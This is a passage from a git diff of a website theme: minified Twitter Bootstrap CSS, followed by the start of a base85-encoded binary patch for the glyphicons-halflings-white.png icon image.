rgba(255,255,255,0.15);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;transition:none}.navbar-inverse .navbar-search .search-query:-moz-placeholder{color:#ccc}.navbar-inverse .navbar-search .search-query:-ms-input-placeholder{color:#ccc}.navbar-inverse .navbar-search .search-query::-webkit-input-placeholder{color:#ccc}.navbar-inverse .navbar-search .search-query:focus,.navbar-inverse .navbar-search .search-query.focused{padding:5px 15px;color:#333;text-shadow:0 1px 0 #fff;background-color:#fff;border:0;outline:0;-webkit-box-shadow:0 0 3px rgba(0,0,0,0.15);-moz-box-shadow:0 0 3px rgba(0,0,0,0.15);box-shadow:0 0 3px rgba(0,0,0,0.15)}.navbar-inverse .btn-navbar{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#0e0e0e;*background-color:#040404;background-image:-webkit-gradient(linear,0 0,0 100%,from(#151515),to(#040404));background-image:-webkit-linear-gradient(top,#151515,#040404);background-image:-o-linear-gradient(top,#151515,#040404);background-image:linear-gradient(to bottom,#151515,#040404);background-image:-moz-linear-gradient(top,#151515,#040404);background-repeat:repeat-x;border-color:#040404 #040404 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff151515',endColorstr='#ff040404',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.navbar-inverse .btn-navbar:hover,.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active,.navbar-inverse .btn-navbar.disabled,.navbar-inverse .btn-navbar[disabled]{color:#fff;background-color:#040404;*background-color:#000}.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active{background-color:#000 \9}.breadcrumb{padding:8px 15px;margin:0 0 20px;list-style:none;background-color:#f5f5f5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.breadcrumb li{display:inline-block;*display:inline;text-shadow:0 1px 0 #fff;*zoom:1}.breadcrumb .divider{padding:0 5px;color:#ccc}.breadcrumb .active{color:#999}.pagination{height:40px;margin:20px 0}.pagination ul{display:inline-block;*display:inline;margin-bottom:0;margin-left:0;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;*zoom:1;-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:0 1px 2px rgba(0,0,0,0.05);box-shadow:0 1px 2px rgba(0,0,0,0.05)}.pagination ul>li{display:inline}.pagination ul>li>a,.pagination ul>li>span{float:left;padding:0 14px;line-height:38px;text-decoration:none;background-color:#fff;border:1px solid #ddd;border-left-width:0}.pagination ul>li>a:hover,.pagination ul>.active>a,.pagination ul>.active>span{background-color:#f5f5f5}.pagination ul>.active>a,.pagination ul>.active>span{color:#999;cursor:default}.pagination ul>.disabled>span,.pagination ul>.disabled>a,.pagination ul>.disabled>a:hover{color:#999;cursor:default;background-color:transparent}.pagination ul>li:first-child>a,.pagination ul>li:first-child>span{border-left-width:1px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.pagination ul>li:last-child>a,.pagination ul>li:last-child>span{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.pagination-centered{text-align:center}.pagination-right{text-align:right}.pager{margin:20px 0;text-align:center;list-style:none;*zoom:1}.pager:before,.pager:after{display:table;line-height:0;content:""}.pager:after{clear:both}.pager li{display:inline}.pager a,.pager span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.pager a:hover{text-decoration:none;background-color:#f5f5f5}.pager .next a,.pager .next span{float:right}.pager .previous a{float:left}.pager .disabled a,.pager .disabled a:hover,.pager .disabled span{color:#999;cursor:default;background-color:#fff}.modal-open .modal .dropdown-menu{z-index:2050}.modal-open .modal .dropdown.open{*z-index:2050}.modal-open .modal .popover{z-index:2060}.modal-open .modal .tooltip{z-index:2080}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop,.modal-backdrop.fade.in{opacity:.8;filter:alpha(opacity=80)}.modal{position:fixed;top:50%;left:50%;z-index:1050;width:560px;margin:-250px 0 0 -280px;overflow:auto;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0,0,0,0.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,0.3);box-shadow:0 3px 7px rgba(0,0,0,0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box}.modal.fade{top:-25%;-webkit-transition:opacity .3s linear,top .3s ease-out;-moz-transition:opacity .3s linear,top .3s ease-out;-o-transition:opacity .3s linear,top .3s ease-out;transition:opacity .3s linear,top .3s ease-out}.modal.fade.in{top:50%}.modal-header{padding:9px 15px;border-bottom:1px solid #eee}.modal-header .close{margin-top:2px}.modal-header h3{margin:0;line-height:30px}.modal-body{max-height:400px;padding:15px;overflow-y:auto}.modal-form{margin-bottom:0}.modal-footer{padding:14px 15px 15px;margin-bottom:0;text-align:right;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;*zoom:1;-webkit-box-shadow:inset 0 1px 0 #fff;-moz-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff}.modal-footer:before,.modal-footer:after{display:table;line-height:0;content:""}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.tooltip{position:absolute;z-index:1030;display:block;padding:5px;font-size:11px;opacity:0;filter:alpha(opacity=0);visibility:visible}.tooltip.in{opacity:.8;filter:alpha(opacity=80)}.tooltip.top{margin-top:-3px}.tooltip.right{margin-left:3px}.tooltip.bottom{margin-top:3px}.tooltip.left{margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:#000;border-width:5px 5px 0}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#000;border-width:5px 5px 5px 0}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:#000;border-width:5px 0 5px 5px}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:#000;border-width:0 5px 5px}.popover{position:absolute;top:0;left:0;z-index:1010;display:none;width:236px;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.popover.top{margin-bottom:10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-right:10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover-content p,.popover-content ul,.popover-content ol{margin-bottom:0}.popover .arrow,.popover .arrow:after{position:absolute;display:inline-block;width:0;height:0;border-color:transparent;border-style:solid}.popover .arrow:after{z-index:-1;content:""}.popover.top .arrow{bottom:-10px;left:50%;margin-left:-10px;border-top-color:#fff;border-width:10px 10px 0}.popover.top .arrow:after{bottom:-1px;left:-11px;border-top-color:rgba(0,0,0,0.25);border-width:11px 11px 0}.popover.right .arrow{top:50%;left:-10px;margin-top:-10px;border-right-color:#fff;border-width:10px 10px 10px 0}.popover.right .arrow:after{bottom:-11px;left:-1px;border-right-color:rgba(0,0,0,0.25);border-width:11px 11px 11px 0}.popover.bottom .arrow{top:-10px;left:50%;margin-left:-10px;border-bottom-color:#fff;border-width:0 10px 10px}.popover.bottom .arrow:after{top:-1px;left:-11px;border-bottom-color:rgba(0,0,0,0.25);border-width:0 11px 11px}.popover.left .arrow{top:50%;right:-10px;margin-top:-10px;border-left-color:#fff;border-width:10px 0 10px 10px}.popover.left .arrow:after{right:-1px;bottom:-11px;border-left-color:rgba(0,0,0,0.25);border-width:11px 0 11px 11px}.thumbnails{margin-left:-20px;list-style:none;*zoom:1}.thumbnails:before,.thumbnails:after{display:table;line-height:0;content:""}.thumbnails:after{clear:both}.row-fluid .thumbnails{margin-left:0}.thumbnails>li{float:left;margin-bottom:20px;margin-left:20px}.thumbnail{display:block;padding:4px;line-height:20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.055);-moz-box-shadow:0 1px 3px rgba(0,0,0,0.055);box-shadow:0 1px 3px rgba(0,0,0,0.055);-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}a.thumbnail:hover{border-color:#08c;-webkit-box-shadow:0 1px 4px rgba(0,105,214,0.25);-moz-box-shadow:0 1px 4px rgba(0,105,214,0.25);box-shadow:0 1px 4px rgba(0,105,214,0.25)}.thumbnail>img{display:block;max-width:100%;margin-right:auto;margin-left:auto}.thumbnail .caption{padding:9px;color:#555}.label,.badge{font-size:11.844px;font-weight:bold;line-height:14px;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);white-space:nowrap;vertical-align:baseline;background-color:#999}.label{padding:1px 4px 2px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.badge{padding:1px 9px 2px;-webkit-border-radius:9px;-moz-border-radius:9px;border-radius:9px}a.label:hover,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.label-important,.badge-important{background-color:#b94a48}.label-important[href],.badge-important[href]{background-color:#953b39}.label-warning,.badge-warning{background-color:#f89406}.label-warning[href],.badge-warning[href]{background-color:#c67605}.label-success,.badge-success{background-color:#468847}.label-success[href],.badge-success[href]{background-color:#356635}.label-info,.badge-info{background-color:#3a87ad}.label-info[href],.badge-info[href]{background-color:#2d6987}.label-inverse,.badge-inverse{background-color:#333}.label-inverse[href],.badge-inverse[href]{background-color:#1a1a1a}.btn .label,.btn .badge{position:relative;top:-1px}.btn-mini .label,.btn-mini .badge{top:0}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-ms-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f7f7f7;background-image:-moz-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9));background-image:-webkit-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-o-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:linear-gradient(to bottom,#f5f5f5,#f9f9f9);background-repeat:repeat-x;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#fff5f5f5',endColorstr='#fff9f9f9',GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.progress .bar{float:left;width:0;height:100%;font-size:12px;color:#fff;text-align:center;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top,#149bdf,#0480be);background-image:-webkit-gradient(linear,0 0,0 100%,from(#149bdf),to(#0480be));background-image:-webkit-linear-gradient(top,#149bdf,#0480be);background-image:-o-linear-gradient(top,#149bdf,#0480be);background-image:linear-gradient(to bottom,#149bdf,#0480be);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff149bdf',endColorstr='#ff0480be',GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width .6s ease;-moz-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress .bar+.bar{-webkit-box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15);-moz-box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15)}.progress-striped .bar{background-color:#149bdf;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px}.progress.active .bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-danger .bar,.progress .bar-danger{background-color:#dd514c;background-image:-moz-linear-gradient(top,#ee5f5b,#c43c35);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#c43c35));background-image:-webkit-linear-gradient(top,#ee5f5b,#c43c35);background-image:-o-linear-gradient(top,#ee5f5b,#c43c35);background-image:linear-gradient(to bottom,#ee5f5b,#c43c35);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ffee5f5b',endColorstr='#ffc43c35',GradientType=0)}.progress-danger.progress-striped .bar,.progress-striped .bar-danger{background-color:#ee5f5b;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-success .bar,.progress .bar-success{background-color:#5eb95e;background-image:-moz-linear-gradient(top,#62c462,#57a957);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#57a957));background-image:-webkit-linear-gradient(top,#62c462,#57a957);background-image:-o-linear-gradient(top,#62c462,#57a957);background-image:linear-gradient(to bottom,#62c462,#57a957);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff62c462',endColorstr='#ff57a957',GradientType=0)}.progress-success.progress-striped .bar,.progress-striped .bar-success{background-color:#62c462;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-info .bar,.progress .bar-info{background-color:#4bb1cf;background-image:-moz-linear-gradient(top,#5bc0de,#339bb9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#339bb9));background-image:-webkit-linear-gradient(top,#5bc0de,#339bb9);background-image:-o-linear-gradient(top,#5bc0de,#339bb9);background-image:linear-gradient(to bottom,#5bc0de,#339bb9);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff5bc0de',endColorstr='#ff339bb9',GradientType=0)}.progress-info.progress-striped .bar,.progress-striped .bar-info{background-color:#5bc0de;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-warning .bar,.progress .bar-warning{background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to bottom,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#fffbb450',endColorstr='#fff89406',GradientType=0)}.progress-warning.progress-striped .bar,.progress-striped .bar-warning{background-color:#fbb450;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.accordion{margin-bottom:20px}.accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.accordion-heading{border-bottom:0}.accordion-heading .accordion-toggle{display:block;padding:8px 15px}.accordion-toggle{cursor:pointer}.accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5}.carousel{position:relative;margin-bottom:20px;line-height:1}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel .item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-moz-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel .item>img{display:block;line-height:1}.carousel .active,.carousel .next,.carousel .prev{display:block}.carousel .active{left:0}.carousel .next,.carousel .prev{position:absolute;top:0;width:100%}.carousel .next{left:100%}.carousel .prev{left:-100%}.carousel .next.left,.carousel .prev.right{left:0}.carousel .active.left{left:-100%}.carousel .active.right{left:100%}.carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#fff;text-align:center;background:#222;border:3px solid #fff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:.5;filter:alpha(opacity=50)}.carousel-control.right{right:15px;left:auto}.carousel-control:hover{color:#fff;text-decoration:none;opacity:.9;filter:alpha(opacity=90)}.carousel-caption{position:absolute;right:0;bottom:0;left:0;padding:15px;background:#333;background:rgba(0,0,0,0.75)}.carousel-caption h4,.carousel-caption p{line-height:20px;color:#fff}.carousel-caption h4{margin:0 0 5px}.carousel-caption p{margin-bottom:0}.hero-unit{padding:60px;margin-bottom:30px;background-color:#eee;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;color:inherit}.hero-unit p{font-size:18px;font-weight:200;line-height:30px;color:inherit}.pull-right{float:right}.pull-left{float:left}.hide{display:none}.show{display:block}.invisible{visibility:hidden}.affix{position:fixed} diff --git a/assets/themes/twitter/bootstrap/img/glyphicons-halflings-white.png b/assets/themes/twitter/bootstrap/img/glyphicons-halflings-white.png index a20760bfde58d1c92cee95116059fba03c68d689..3bf6484a29d8da269f9bc874b25493a45fae3bae 100644 GIT binary patch literal 8777 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 